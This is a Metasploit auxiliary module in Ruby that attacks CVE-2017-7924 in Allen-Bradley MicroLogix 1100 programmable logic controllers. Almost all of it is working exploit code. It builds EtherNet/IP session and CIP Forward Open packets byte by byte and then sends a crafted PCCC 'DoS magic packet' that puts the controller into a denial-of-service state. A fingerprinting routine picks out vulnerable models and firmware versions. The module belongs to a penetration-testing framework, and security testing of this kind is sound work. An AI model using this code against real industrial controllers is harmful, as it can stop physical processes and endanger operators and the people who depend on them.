## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Dos def initialize(info = {}) super( 'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)", 'Description' => %q{ A remote, unauthenticated attacker could send a single, specially crafted Programmable Controller Communication Commands (PCCC) packet to the controller that could potentially cause the controller to enter a DoS condition. MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and 1763-L16DWD. CVE-2017-7924 has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned. }, 'Author' => [ 'José Diogo Monteiro ', 'Luis Rosa ', 'Miguel Borges de Freitas ' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7924' ], [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ], [ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780'] ]) register_options([Opt::RPORT(44818),]) end VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD'] VULN_FW_VERSION_MIN = 14.00 VULN_FW_VERSION_MAX = 16.00 def le_pp(s) "0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}" end def enip_register_session_pkt # ENIP encapsulation Header "\x65\x00" + # Command register session (0x0065) "\x04\x00" + # Length (4) "\x00\x00\x00\x00" + # Session handle (0x00000000) "\x00\x00\x00\x00" + # Status success (0x00000000) "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) "\x00\x00\x00\x00" + # Options (0x00000000) # Protocol Specific Data "\x01\x00" + # Protocol version (1) "\x00\x00" # Option flags (0x00000000) end def enip_ccm_forward_open_pkt(enip_session_handle) # ENIP encapsulation header "\x6f\x00" + # Send RR data (0x006f) "\x3e\x00" + # Length (63) enip_session_handle + # Session handle (retrieved from register session) "\x00\x00\x00\x00" + # Status success (0x00000000) "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000) "\x00\x00\x00\x00" + # Options (0x00000000) # Command specific data "\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000) "\x00\x00" + # Timeout (0) "\x02\x00" + # Item count (2) "\x00\x00" + # Item 1 type id (Null address item) "\x00\x00" + # Item 1 length (0) "\xb2\x00" + # Item 2 type id (Unconnected data item) "\x2e\x00" + # Item 2 length (46) # CIP Connection manager specific data "\x54\x02\x20\x06\x24\x01\x0a\xf0" + "\x00\x00\x00\x00\x52\xac\xda\x89" + "\x55\x0c\x35\x01\xe1\x08\xb0\x60" + "\x07\x00\x00\x00\x00\x40\x00\x00" + "\x12\x43\x00\x40\x00\x00\x12\x43" + "\xa3\x02\x20\x02\x24\x01" end # Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08) def pccc_dos_pkt(enip_session_id, cip_connection_id) # ENIP encapsulation header "\x70\x00" + # Send unit data (0x0070) "\x2d\x00" + # Length enip_session_id + # ENIP session handle (obtained from enip register session) "\x00\x00\x00\x00" + # Status Success "\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context "\x00\x00\x00\x00" + # Options # Command Specific data "\x00\x00\x00\x00" + # Interface handle (CIP) "\x00\x00" + # Timeout (0) "\x02\x00" + # Item count "\xa1\x00" + # Item 1 - Type ID (Connected address item) "\x04\x00" + # Item 1 - Length (4) cip_connection_id + # CIP connection ID (obtained from CIP CM packet) "\xb1\x00" + # Item 2 - Type ID (Connected data item) "\x19\x00" + # Item 2 - Length (25) "\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet # PCCC Command data "\x4b" + # Execute PCCC (0x4b) "\x02\x20\x67\x24\x01" + # no idea what this is "\x07" + # Requestor ID length "\x35\x01" + # CIP vendor ID "\xe1\x08\xb0\x60" + # CIP serial number "\x0f" + # Command code "\x00" + # Status (success 0x00) "\x2a\x58" + # Transaction code "\xa2" + # Function code (Protected typed logical read with three address fields) "\x00" + # Byte size "\x05" + # File number "\x47" + # File type "\x00" + # Element number "\x00" # Sub-element number end def enip_list_identify_pkt "\x63\x00" + # List Identity "\x00\x00" + # Length "\x00\x00\x00\x00" + # Session Handle "\x00\x00\x00\x00" + # Status: Success "\x00\x00" + # Max Response Delay "\x00\x00\xc1\xde\xbe\xd1" + # Sender Context "\x00\x00\x00\x00" # Options end def check connect_udp udp_sock.put(enip_list_identify_pkt) res = udp_sock.recvfrom(90) disconnect_udp unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00" print_error "EtherNet/IP Packet Not Valid" return Exploit::CheckCode::Unsupported end revision = res[0][54,2] product_name_len = res[0][62].unpack("c*")[0] product_name = res[0][63,product_name_len] print_status "Product Name: #{product_name}" array = product_name.split(' ') plc_model = array[0] return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e } firmware = array[1] begin firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX return Exploit::CheckCode::Vulnerable elsif firmware_nbr < VULN_FW_VERSION_MIN return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end rescue return Exploit::CheckCode::Unknown end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog(e) ensure disconnect end def run connect # Register Ethernet/IP session sock.put(enip_register_session_pkt) enip_register_session_ans = sock.get_once unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00" print_error "Ethernet/IP - Failed to create session." disconnect return end enip_session_id = enip_register_session_ans[4, 4] print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})" # Ethernet/IP CCM Forward Open sock.put(enip_ccm_forward_open_pkt(enip_session_id)) enip_ccm_forward_open_ans = sock.get_once unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00" print_error "CIP Connection Manager - Failed Forward Open request" disconnect return end cip_connection_id = enip_ccm_forward_open_ans[44, 4] print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})" # PCCC DoS packet print_status "Sending PCCC DoS magic packet..." sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id)) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e elog(e) ensure disconnect end end